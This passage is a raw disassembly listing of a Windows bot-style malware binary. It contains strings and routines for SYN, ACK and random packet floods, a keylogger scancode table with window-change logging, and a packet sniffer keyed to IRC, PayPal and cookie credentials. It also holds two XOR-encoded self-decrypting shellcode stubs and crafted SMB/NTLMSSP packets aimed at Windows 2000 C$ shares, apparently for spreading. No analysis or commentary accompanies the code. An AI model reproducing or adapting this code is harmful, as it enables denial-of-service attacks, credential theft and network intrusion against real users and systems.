		dd 1DE85CC8h, 0E60C985Ch, 5FE5B33Bh, 10600A8h, 4ED5706Eh
		dd 1E047D23h, 1F689F04h, 9EB9804Dh, 8706F0BEh, 108002Bh
		dd 159855BBh, 9E5DE096h, 7889C030h, 0F38CF26Bh,	512EA350h
		dd 0CD9Fh, 0F894026Dh, 0C38E173Bh, 0A64A1D8Ch, 0C3A454DFh
		dd 1520000h, 65073FB5h,	0DC42EA97h, 0B336176Bh,	1150000h
		dd 0CFE8A1AFh, 0B6B1352h, 0EA9BABh, 57540153h, 0FC80D017h
		dd 3C9E5635h, 0D3C7926Ah, 1560000h, 61E7703Fh, 89E102C8h
		dd 0E54C248h, 0EE9Ch, 7A77027Ch, 3AAD581h, 0E0884A97h
		dd 633Ch, 0B03A00AAh, 486A318Fh, 0B0B6E805h, 1198222Ch
		dd 6F96h, 0C380028Bh, 3EE630B4h, 8197094h, 347282E6h, 0E459392Ch
		dd 0BCCAF27Dh, 96C41232h, 1B500F6h, 0C506EB52h,	0CF622C9Fh
		dd 2AC2117Ah, 1B20000h,	660A1DC0h, 3F0F31D5h, 48DA09E6h
		dd 2610000h, 1AD58A99h,	879A29FAh, 0C576DB80h, 210000h
		dd 56CBA6D9h, 9E054BAAh, 7713DE5Ch, 7843h, 0CC7F0022h
		dd 74106DBBh, 67E2CD2Ah, 1D9F8DEDh, 2620000h, 0D5465445h
		dd 5FC966B0h, 23A9FD47h, 72565FF7h, 4E91CD6h, 0B82016h
		dd 46DBA4B3h, 0C1CA0850h, 0A4EF532Dh, 14Bh dup(0)
seg001		ends

; Section 3. (virtual address 00023000)
; Virtual size			: 00048000 ( 294912.)
; Section size in file		: 00048000 ( 294912.)
; Offset to raw	data for section: 00023000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg002		segment	para public 'CODE' use32
		assume cs:seg002
		;org 423000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_423000	dd 0				dd offset sub_4036CF
		dd offset sub_404EE6
		dd offset sub_4200C4
dword_423010	dd 0		dword_423014	dd 0				dd offset sub_416852
		dd offset sub_41C384
		dd offset sub_41D0D6
		dd offset sub_41DF48
dword_423028	dd 0		dword_42302C	dd 0				dd offset sub_41D17B
dword_423034	dd 0		dword_423038	dd 0				dd offset sub_41DF59
dword_423040	dd 4 dup(0)	unk_423050	db    2			; DATA XREF: start+5Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_42308C	db    2			; DATA XREF: seg000:004013B4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 10h
aDdos_random	db 'ddos.random',0      ; DATA XREF: seg000:loc_4011DEo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: seg000:loc_4011C2o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: seg000:004011A3o
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aDoneWithSFlood	db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
		db ').',0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSendingPa	db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
		db '.',0
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aInvalidTargetI	db 'Invalid target IP.',0
		align 10h
unk_4231E0	db    2			; DATA XREF: seg000:00401509o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSetsockop	db 'Error: setsockopt() failed, returned: <%d>.',0
unk_42322C	db    2			; DATA XREF: seg000:00401490o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketFai	db 'Error: socket() failed, returned: <%d>.',0
dword_423274	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40182E+48o
		dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 10h
dword_4232B0	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: seg000:00401B47o
		dd 2029206Ch, 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4232E0	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:004020C1o
		dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_423344	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00402025o
		dd 2029206Ch, 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: seg000:00401EE8o
					; seg000:0040F97Do ...
		align 10h
aAck		db 'ack',0              ; DATA XREF: seg000:00401EC8o
					; seg000:0040F966o
aSyn		db 'syn',0              ; DATA XREF: seg000:00401EA8o
					; seg000:0040F94Eo
dword_4233B8	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401D35o
		dd 2029206Ch, 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4233EC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401CC4o
		dd 2029206Ch, 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_423438	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401C46o
		dd 2029206Ch, 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: seg000:loc_4022DEo
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_423BB4	dd 38h,	38000000h, 2 dup(0)		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_423BEC	dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh
					; DATA XREF: seg000:004021C8o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: seg000:004021A2o
		align 4
aAb		db 'ab',0               ; DATA XREF: seg000:00402168o
					; seg000:0040F82Co
		align 10h
asc_423C30:				; DATA XREF: seg000:00402146o
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: seg000:00402423o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: seg000:004023E0o
		align 10h
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: seg000:0040228Ao
		align 10h
		dd offset dword_4244F8
		dd offset off_4244F4
		dd offset aFtp		; "FTP"
		dd offset aHttp		; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: seg002:00423C8Co
		align 10h
aFtp		db 'FTP',0              ; DATA XREF: seg002:00423C88o
off_4244F4	dd offset aHeloRndnickMai+2Dh ;	DATA XREF: seg002:00423C84o
dword_4244F8	dd 544F42h, 28026502h, 62302E31h, 20282029h, 66696E73h
					; DATA XREF: seg002:00423C80o
		dd 1F6D2E66h, 206C1F64h, 0BB022029h, 202002BBh,	6F727245h
		dd 72203A72h, 28766365h, 61662029h, 64656C69h, 6572202Ch
		dd 6E727574h, 203A6465h, 3E64253Ch, 0
		dd 28026502h, 62302E31h, 20282029h, 66696E73h, 1F6D2E66h
		dd 206C1F64h, 0BB022029h, 202002BBh, 70737553h,	6F696369h
		dd 25207375h, 61702073h, 74656B63h, 6F726620h, 25203A6Dh
		dd 64253A73h, 25202D20h, 2E73h,	4E53505Bh, 5D464649h, 0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
dword_42462C	dd 28026502h, 62302E31h, 20282029h, 66696E73h, 1F6D2E66h
					; DATA XREF: seg000:00402561o
		dd 206C1F64h, 0BB022029h, 202002BBh, 6F727245h,	73203A72h
		dd 656B636Fh, 20292874h, 6C696166h, 202C6465h, 75746572h
		dd 64656E72h, 253C203Ah, 2E3E64h, 0
; ---------------------------------------------------------------------------
		jmp	short loc_42468A

; =============== S U B	R O U T	I N E =======================================



sub_42467A	proc far		; CODE XREF: sub_42467A:loc_42468Ap
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_424682:				; CODE XREF: sub_42467A+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_424682
		jmp	short loc_42468F
; ---------------------------------------------------------------------------


loc_42468A:				; CODE XREF: seg002:00424678j
		call	near ptr sub_42467A


loc_42468F:				; CODE XREF: sub_42467A+Ej
		jo	short loc_4246F3
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_424711
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_4246F3:				; CODE XREF: sub_42467A:loc_42468Fj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_424711:				; CODE XREF: sub_42467A+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_42467A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0CA91h
		dd 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh,	0EB12CB4Ch
		dd 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh
		dd 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h
		dd 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h
		dd 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h,	0A2657452h
		dd 346C9040h, 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_4247B8:				; DATA XREF: sub_402988+150o
					; sub_402988+20Do
		jmp	short loc_4247CA

; =============== S U B	R O U T	I N E =======================================



sub_4247BA	proc near		; CODE XREF: sub_4247BA:loc_4247CAp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_4247C2:				; CODE XREF: sub_4247BA+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4247C2
		jmp	short loc_4247CF
; ---------------------------------------------------------------------------


loc_4247CA:				; CODE XREF: seg002:loc_4247B8j
		call	sub_4247BA


loc_4247CF:				; CODE XREF: sub_4247BA+Ej
		jo	short near ptr dword_424744+22h
		cwde
		cdq
		cdq
		retn
sub_4247BA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_424868	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_402988+101o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_424950	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_402DDD+7Fo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4249DC	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402DDD+AAo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_424A88	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402DDD+CFo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_424B68	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+57o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_402988+86o
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_424BCC	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+2B0o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
